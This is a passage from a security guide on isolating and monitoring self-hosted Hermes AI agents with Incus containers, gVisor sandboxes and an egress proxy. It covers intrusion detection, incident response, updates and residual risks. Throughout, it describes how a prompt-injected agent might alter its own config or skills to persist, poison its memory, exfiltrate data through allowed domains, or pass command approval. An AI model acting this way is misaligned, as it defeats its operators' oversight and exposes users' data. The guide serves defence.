File tools and <code>execute_code</code>	The test in section 6.9	Stay off until proven to run in the sandbox

If the first test fails and `uname` shows the host kernel version, the agent user's login shell or the SSH backend config is wrong, and commands are running without gVisor. Treat this as a complete security failure.

When all of these behave as expected, the system is ready for use. **Re-run these tests after every update, every config change, and every rebuild from a snapshot.**

14 Monitoring and Intrusion Detection

In normal operation, no friend's Hermes should ever send a packet or request to an unauthorized destination; so every rejection is a real signal, not noise. This design makes monitoring simple: you do not need to learn what normal looks like, you only need to react to every "reject".

1. Signal Sources

Source	Command	Sign of intrusion
Proxy audit log	<code>journalctl -u iron-proxy@reza -o cat</code> in the infrastructure instance	Any record with <code>rejected_by</code> ; requests at unusual hours
Network ACL log	<code>incus network acl show-log acl-reza</code> on the host	Every line means an attempt to get past the wall
Sandbox ACL log	<code>incus network acl show-log acl-deny-all</code> on the host	Every line; the sandbox has no allowed destination
Hermes log	<code>~/.hermes/logs/</code> inside the instance	Messages from an unknown ID; strange terminal commands
Incus events	<code>incus monitor --type=lifecycle</code> on the host	Unexpected restarts
File integrity	Hash comparison against a baseline (below)	Any change to Hermes' config or skills
Host logins	<code>journalctl -u ssh</code>	A successful login from an unknown IP
Model provider dashboard	The provider panel	A sudden usage spike, meaning someone is abusing a token

The execution sandbox has its own signal: every line in the `acl-deny-all` log means something outside gVisor, inside the sandbox instance, tried to reach the network. That is a sign of a gVisor escape or a compromised sshd, and must be investigated immediately.

2. Reading the Proxy Audit Log

iron-proxy writes a structured JSON record for every request, showing which secret was injected and what was rejected by which transform; rejection records carry a `rejected_by` field and are logged at WARN level ([iron-proxy repo](#)).

```
# every rejection for reza
infra# journalctl -u iron-proxy@reza -o cat | jq -c 'select(.rejected_by ≠ null)'

# which hosts were contacted, with counts
infra# journalctl -u iron-proxy@reza -o cat --since today | jq -r '.host // empty' | sort |
uniq -c
```

In normal operation you only see `api.telegram.org` and the provider's domain. If you see `rejected_by` for a domain like `pastebin.com` or a raw IP, something inside Reza's instance tried to send data out.

3. Hermes File Integrity

A poisoned agent may try to change its own config or skills to persist. Right after the `clean` snapshot, take a baseline of the sensitive files and keep it on the host:

```
host$ incus exec hermes-reza -- bash -c \
'cd /home/hermes/.hermes && find config.yaml .env skills -type f -exec sha256sum {} + |
sort -k2' \
> ~/baselines/reza.sha256

# daily check
host$ incus exec hermes-reza -- bash -c \
'cd /home/hermes/.hermes && find config.yaml .env skills -type f -exec sha256sum {} + |
sort -k2' \
| diff ~/baselines/reza.sha256 - && echo "reza: no change"
```

Investigate every difference. A new skill you did not install yourself is a serious sign.

4. Automatic Alerts

In the infrastructure instance, create a systemd timer that counts each proxy's rejections every hour and, if the count is above zero, messages a separate admin bot (for you only). That bot's token also lives only in the infrastructure instance, and its messages go out through a separate iron-proxy instance whose allowlist is `api.telegram.org`. **Set the alert for "above zero", not a higher threshold;** in this design, the first rejection is the most important signal.

5. Review Schedule

Period	Task
Daily	Proxy rejections, ACL logs, integrity comparison
Weekly	<code>hermes pairing list</code> (must be empty) and <code>command_allowlist</code>
Monthly	Each friend's enabled tools; host login log

15 Incident Response

First stop the bleeding, then preserve evidence, then investigate, and finally rebuild from a clean point; never patch a compromised instance. Because the real secrets never enter a friend's instance, compromising one instance usually only requires rotating that friend's proxy tokens, not revoking the real keys and tokens.

1. Determine the Scope of the Incident

What was compromised	What to rotate	Why
Only one friend's execution sandbox	Nothing; just rebuild from the snapshot	The sandbox holds no secrets
One friend's Hermes instance	Only that friend's proxy tokens	The real secrets were never there
One friend's Telegram account	Remove their ID from the allowlist until the account is secured	The attacker is messaging through an allowed user
The infrastructure instance	All bot tokens (<code>/revoke</code> in BotFather), all API keys, a new CA	Every real secret lives there
The host, or signs of a container escape	Everything; rebuild the whole server from scratch	No layer can be trusted anymore

Signs of an escape to the host: an unknown process on the host with root's UID, a changed file outside the Incus paths, or an ACL log showing packets from an instance that is shut down.

2. Step-by-Step Procedure (One Friend's Instance Compromised)

- 1. Immediate containment:** `incus stop hermes-reza --force` and `incus stop sandbox-reza --force`.
- 2. Close egress at the proxy:** `incus exec infra -- systemctl stop iron-proxy@reza`. Even if the instance comes back up for any reason, it has no exit.
- 3. Preserve evidence, before any cleanup:**

```

host$ incus snapshot create hermes-reza incident-$(date +%F) --no-expiry
host$ incus export hermes-reza ~/incidents/reza-$(date +%F).tar.gz
host$ incus exec infra -- journalctl -u iron-proxy@reza -o cat > ~/incidents/reza-proxy.jsonl
host$ incus network acl show-log acl-reza > ~/incidents/reza-acl.log

```

BASH

- 4. Investigate:** build a timeline. In the proxy log, see where requests went and what was rejected. Compare the files in `~/.hermes` against the integrity baseline. Read memory, sessions, and skills in the incident snapshot to find the poisoned message or content that started the chain.
- 5. Rotate the proxy tokens:** generate two fresh tokens (layer 4.5), replace them in `reza.yaml`, and restart the proxy. From this moment the old tokens are useless, even behind the proxy.
- 6. Rebuild from a clean point:** `incus snapshot restore hermes-reza clean` and `incus snapshot restore sandbox-reza clean`. Since the `.env` in the clean snapshot holds the old tokens, put the new tokens in it (via `incus exec` and with root ownership, as in section 5.6.1).
- 7. Start and test:** `systemctl start iron-proxy@reza` in the infrastructure instance, `incus start` for both instances, and a full run of the verification tests.
- 8. Take a new integrity baseline** and create new `clean` snapshots.
- 9. Talk to your friend:** was their account hacked? They should terminate all active Telegram sessions and turn on two-step verification.

Take poisoned memory seriously. Hermes has persistent memory; poisoned content written to memory affects later sessions too. Never continue from the compromised copy, even if it looks healthy.

If only the sandbox is suspect: `incus stop sandbox-reza --force`, an incident snapshot, then `incus snapshot restore sandbox-reza clean`. The sandbox holds no secrets, so rebuilding it requires no rotation. But if you see any sign of code running outside gVisor (the `acl-deny-all` log, or an unknown process in the sandbox instance), assume gVisor was broken and run the procedure above for both of that friend's instances.

3. If the Infrastructure Instance Is Compromised

1. Stop all friend instances and the infrastructure instance.
2. Revoke every bot's token with `/revoke` in BotFather and get new tokens.
3. Revoke all API keys in the provider panel.
4. Rebuild the infrastructure instance from scratch (not from a snapshot), create a new CA with `nameConstraints`, and give the new certificate to every Hermes instance.
5. Regenerate every proxy token.

4. After the Incident

Every incident teaches something: a tool that should not have been on, a domain that should not have been on the allowlist, or an alert that arrived late. Fix exactly that in the config and record it in this document.

16 Safe Maintenance and Updates

Every update goes through the same cycle of "snapshot, temporary unlock, update, re-lock, test", and no update is finished until the tests have been run again. Hermes moves fast and its vulnerabilities are discovered fast; several CVEs for injection and authentication bypass have been filed against it (vuln.today).

1. Schedule

Period	Task
Automatic	Host and Incus security patches via unattended-upgrades ; daily snapshot of every instance
After every kernel patch	Reboot the host; the containers run on this kernel
Weekly	Maintenance window for Hermes and OS packages; run the tests
Monthly	Check for new iron-proxy and gVisor releases; review the tools and allowed domains
Quarterly	Rotate every friend's proxy tokens
Every two years	Rotate the CA (the certificate is valid for 730 days)
Immediately	Any critical CVE in Hermes, Incus, iron-proxy, gVisor, or the Linux kernel

Subscribe to vulnerability alerts for Hermes (stack.watch), and do not wait for the weekly window for a critical CVE.

2. Maintenance Window for the Hermes Instance

```

host$ incus snapshot create hermes-reza pre-update
host$ incus exec hermes-reza -- systemctl stop hermes
host$ incus config device set hermes-reza eth0 network=incusbr0 ipv4.address=      # temporary
open
host$ incus restart hermes-reza

# OS packages
host$ incus exec hermes-reza -- bash -c 'apt update && apt full-upgrade -y'
# Hermes itself (as the unprivileged user)
host$ incus exec hermes-reza --user $HUID --group $HUID --cwd /home/hermes \
    --env HOME=/home/hermes -- bash -lc 'hermes update && hermes config check'

# re-apply hardening that updates can undo
host$ incus exec hermes-reza -- bash -c \
    'find / -xdev \( -perm -4000 -o -perm -2000 \) -type f -exec chmod u-s,g-s {} +'
host$ incus exec hermes-reza -- bash -c \
    'cd /home/hermes/.hermes && chown root:hermes config.yaml .env && chmod 0640
config.yaml .env'

# lock again
host$ incus config device set hermes-reza eth0 network=br-reza ipv4.address=10.91.1.10
host$ incus restart hermes-reza
host$ incus exec hermes-reza -- bash /root/selftest.sh      # mandatory

```

Three things that are often forgotten:

- **Package updates bring the setuid bit back.** Every time `apt` updates a package like `util-linux` or `passwd`, its programs become setuid again. Removing setuid is part of every maintenance window.
- `hermes config check` **shows new options.** A new security option may default to open; read every new option and set it deliberately.
- **Take the integrity baseline again after an update,** or the daily monitoring will alert on legitimate changes and the real alerts will get lost.

If an update breaks something, `incus snapshot restore hermes-reza pre-update` brings you back in seconds.

3. Updating iron-proxy

The same procedure as section 4.3: download, **verify the signature and checksum**, install, and restart every `iron-proxy@*` service. Then run the tests for every friend. Before restarting, compare the new version's `iron-proxy.example.yaml` against your config, so that a renamed key does not silently switch something off.

4. Updating gVisor and the Sandbox

In the maintenance window, move the sandbox temporarily onto `incusbr0`, download the new `runsc` the same way as in section 6.3 and **verify the checksum**, update `openssh-server` and the rest of the OS, remove `setuid` again, put the sandbox back on Reza's bridge with the `acl-deny-all` ACL, and run the tests in part 6 of Verification. Then refresh the sandbox's `clean` snapshot. Since the sandbox holds no valuable state, you can rebuild it weekly from the `clean` snapshot.

5. Version Control for Config

Keep the Incus profile files, the network and ACL definitions, the proxy `*.yaml` files (without token values), the systemd units, and the Hermes `config.yaml` in a private git repository. **No .env file, CA key, or token ever goes into git.** When you rebuild the server, everything comes from one source and no security setting is missed.

6. Adding a New Friend

- ☐ A new bot with the BotFather settings, and the friend's numeric ID
- ☐ A bridge on subnet `10.91.N.0/24` and an ACL whose only rule is `10.90.0.10:808N` (layer 3)
- ☐ Proxy tokens, the `N.env` and `N.yaml` files, and `systemctl enable --now iron-proxy@N` (layer 4)
- ☐ A Hermes instance with the hardened profile, hardening, install, read-only config, and network lock (layers 2 and 5)
- ☐ A gVisor sandbox on `10.91.N.11`, the `acl-deny-all` ACL, the SSH key and host key pinning, and the SSH backend in Hermes (layer 6)
- ☐ Run every test with the new addresses and ports, then the `clean` snapshots and the integrity baseline
- ☐ Tell your friend the bot is not private and that they should turn on Telegram two-step verification

17 Critical Review: Decisions and Rejected Options

Every component of this design was weighed against at least one real alternative; this section records what was chosen or rejected and why, so that if you ever want to change something, you know which argument you have to defeat.

The Isolation Layer

Option	Verdict	Reason
An Incus VM per friend	✓ Best, if you have KVM	Hardware boundary; separate kernel; all of Incus' management features
Unprivileged Incus container + gVisor for commands	✓ Best without KVM	Isolated idmap, ACLs, and snapshots from Incus; a kernel boundary for poisoned code from gVisor
Docker + gVisor per friend	Defensible	Strong kernel boundary; but in Docker the idmap is one per daemon (Docker userns docs), and the official Hermes image starts its init stage as root (Hermes on Kubernetes)
Docker next to Incus on one host	✗	Docker sets the <code>FORWARD</code> policy to drop and Incus networking breaks (Incus firewall docs)
Docker-in-Docker with <code>--privileged</code>	✗	Root inside the container is effectively root on the host (Coder comparison)
Mounting the Docker socket	✗	Equivalent to root on the host (OneUptime)
Docker inside an Incus instance	✗	Nesting and syscall interception loosen the main boundary
LXD	✗	snap, and an AGPLv3 license with a CLA (LWN)
Raw LXC	✗	A manual, error-prone rebuild of what Incus already provides
Installing directly on the host with Hermes profiles	✗	Profiles only separate Hermes state, not access to the OS (r/hermesagent)

If you ever need software that only ships as a Docker image, Incus has run OCI images directly, without a Docker daemon, since version 6.3 ([Incus 6.3 announcement](#)).

Secrets and Egress

Option	Verdict	Reason
Standalone iron-proxy, one per friend	✓	Secret injection, allowlist, <code>require</code> , audit log; covers the whole Hermes process
The official iron-proxy integration in Hermes	✗	Docker backend only, and it does not protect the Hermes process's own LLM calls (Hermes iron-proxy docs)
One shared iron-proxy for everyone	✗	<code>require: true</code> on one domain conflicts with several tokens, and compromising it means everyone's secrets
Squid	✗	Has an allowlist but no secret injection; the real key would have to be in the box
LiteLLM	✗	A cost-control tool; for the security goal, iron-proxy keeps both the API key and the bot token outside
The real key in the Hermes <code>.env</code>	✗	The first successful prompt injection reads it

Executing Agent Commands

Option	Verdict	Reason
SSH backend to a second instance with a gVisor login shell	✓	No nesting in the Hermes instance, no Docker, dangerous-command checks on, throwaway filesystem
<code>local</code> backend in the Hermes instance	✗	Commands run next to Hermes' memory and tokens
Docker backend	✗	A root-privileged socket or nesting; and it skips dangerous-command checks
Command approval in the Telegram chat	✗ as a control	It returns to the same chat; your friend or a prompt injection types "yes"

Weaknesses Found and Fixed During Reviews

Weakness	Where it was fixed
Agent commands ran next to Hermes state	Layer 6
The agent could change its own config, allowed users, pairings, or skills	Section 5.6.1
The bot token was inside the box, and the exfiltration channel via the attacker's bot was open	Layer 4: <code>match_path</code> and <code>require</code>
File tools and <code>execute_code</code> might run outside the sandbox	Section 6.9: off until proven otherwise
The first SSH connection could be accepted blindly	Section 6.6: host key pinning
The proxy CA could issue certificates for any domain	Section 4.4: <code>nameConstraints</code>
The DHCP range overlapped the static Hermes and sandbox addresses	Section 3.3: the <code>.20-.30</code> range
Package updates bring the setuid bit back	Maintenance, part 2

What You Still Have to Prove on Your Own Server

Four claims in this guide depend on the version or the environment, and only a practical test confirms them:

1. How `require` behaves in iron-proxy's tunnel mode.
2. Running `runsc --rootless` inside an unprivileged Incus container.
3. Hermes' persistent shell working over SSH with the gVisor login shell.
4. Where the file tools execute.

All four have tests in the Verification section. **Run all four before giving any friend access.**

18 Residual Risks

This design shrinks the blast radius of a compromised instance to nearly zero, but it does not make intrusion impossible, and it turns two components into high-value targets: the host kernel and the infrastructure instance. Knowing where you have no wall matters as much as building the walls; a security guide that does not state its limits cannot be trusted.

Risk	Why it remains	What reduces it
Shared kernel in container mode	Containers share the host kernel; a kernel zero-day can lead to an escape	A VM per friend if you have <code>/dev/kvm</code> ; the kernel settings in layer 1; a reboot after every kernel patch; and for the agent's poisoned code, gVisor (layer 6)
The infrastructure instance is a high-value target	Every real secret and the CA key live there	No agent runs in it; no friend has a shell; a hardened service; a CA constrained by <code>nameConstraints</code> to two domains
iron-proxy itself may have bugs	It is software that parses untrusted traffic	A separate process per friend holding only that friend's secrets; an unprivileged user; a systemd sandbox; updates with signature verification
How <code>require</code> behaves in tunnel mode depends on the version	Implementation details may change between versions	The "foreign token" test after every update
Exfiltration through an allowed domain	The agent can put data in the body of a request to the model provider or in a Telegram message	With <code>require</code> , that data only reaches your own account and your friend's own bot, not the attacker; and the instance only holds that friend's data
Prompt injection still works inside the box	Models cannot reliably tell data from instructions	Minimal tools; read-only config and skills; rebuild from a snapshot on any suspicion
A vulnerability in Hermes itself	Complex code with untrusted input	The whole Hermes process is in the box; a vulnerability in Hermes means compromising one instance, nothing more
Theft of a friend's Telegram account	Outside your control	Two-step verification for friends; immediate removal from the allowlist
Your friends' privacy from you	The server admin has access to everything; the proxy log records paths	Honesty: tell your friends the bot is not private

Risk	Why it remains	What reduces it
Privacy from the model provider	Every conversation is sent to the provider	Choose a provider with a suitable data-retention policy, or a local model
Your own admin SSH key	If it leaks, the whole server has leaked	A passphrase on the key or a hardware key; never on a shared device
Bugs in Incus itself	For example CVE-2026-62313 and CVE-2025-52889 in isolation and network filtering	Automatic patches; not relying on one layer; the ACL, the missing NAT, and the proxy are independent of each other

Three risks that layer 6 reduces but does not eliminate:

- **gVisor itself has bugs.** For example, a recent bug let an unprivileged user inside the sandbox become root ([gVisor issue #13063](#)). That root is inside the gVisor sandbox, not on the host; and beneath it there is still the unprivileged Incus container, with no secrets and no network. Keep `runsc` up to date.
- **The sandbox's sshd runs outside gVisor.** It is reachable only from that friend's Hermes instance and accepts only one key with `restrict`; but it is an attack surface and must be patched.
- **The Hermes process itself still parses untrusted input.** Telegram messages and model responses are processed in the Hermes instance, not in the sandbox. A code-execution vulnerability in Hermes reaches the Hermes instance: that friend's memory and proxy tokens, nothing more.

Scale

This design is for a handful of friends. At larger scale, an OVN network with ACLs between instances, a centralized secret manager (such as Vault, which iron-proxy supports directly), and a microVM per user make more sense. Services that offer Hermes to untrusted users run a separate microVM per user and keep the model API key completely out of the agent's reach ([Sokosumi](#)). This guide is the small, runnable version of the same idea.

19 Sources

Hermes

- [Hermes network isolation \(official\)](#)
- [Hermes iron-proxy docs \(official\)](#)
- [Hermes security docs \(mirror\)](#)
- [Hermes toolsets reference](#)
- [Hermes tools & terminal backends](#)
- [Hermes repo: sandboxed backend recommendation](#)
- [Hermes issue #527: per-user permissions](#)
- [Hermes install & config \(CometAPI\)](#)
- [Hermes on Kubernetes](#)
- [Hermes in Sokosumi](#)
- [r/hermesagent: multi-agent & profiles megathread](#)

Vulnerabilities

- [Hermes vulnerabilities \(stack.watch\)](#)
- [Hermes vulnerabilities \(vuln.today\)](#)
- [CVE-2026-9353 \(VulDB\)](#)
- [CVE-2026-62313 \(OSV\)](#)
- [CVE-2026-62313 Debian status \(Enginsight\)](#)
- [CVE-2025-52889 \(OSV\)](#)

iron-proxy and gVisor

- [iron-proxy repo](#)
- [iron-proxy docs](#)
- [gVisor install docs](#)
- [gVisor rootless docs](#)
- [runsc do source \(Debian\)](#)
- [gvisor-exec](#)
- [Dangerzone: nested gVisor](#)
- [Let's discuss sandbox isolation](#)
- [gVisor issue #13063](#)

Incus

- [Incus install docs](#)
- [Incus network ACLs](#)
- [Incus network ACL defaults](#)
- [Incus user namespaces & idmap](#)

- [Incus firewall: Docker and Incus on one host](#)
- [Incus 6.3: OCI support](#)
- [Stéphane Graber: LXD relicensing](#)
- [LWN: LXD license change](#)
- [StackHarbor: Incus on Ubuntu](#)
- [r/incus: VMs on a VPS](#)
- [isb-core: nesting config](#)
- [isb-core: per-sandbox bridge & egress ACL](#)

OS, systemd, and Containers

- [CIS-based Linux hardening](#)
- [systemd service hardening \(StackHarbor\)](#)
- [Securing systemd services \(DATAZONE\)](#)
- [Docker-in-Docker vs socket binding \(OneUptime\)](#)
- [Docker-in-Docker methods compared \(Coder\)](#)
- [Docker usersns: one mapping per daemon](#)

— End —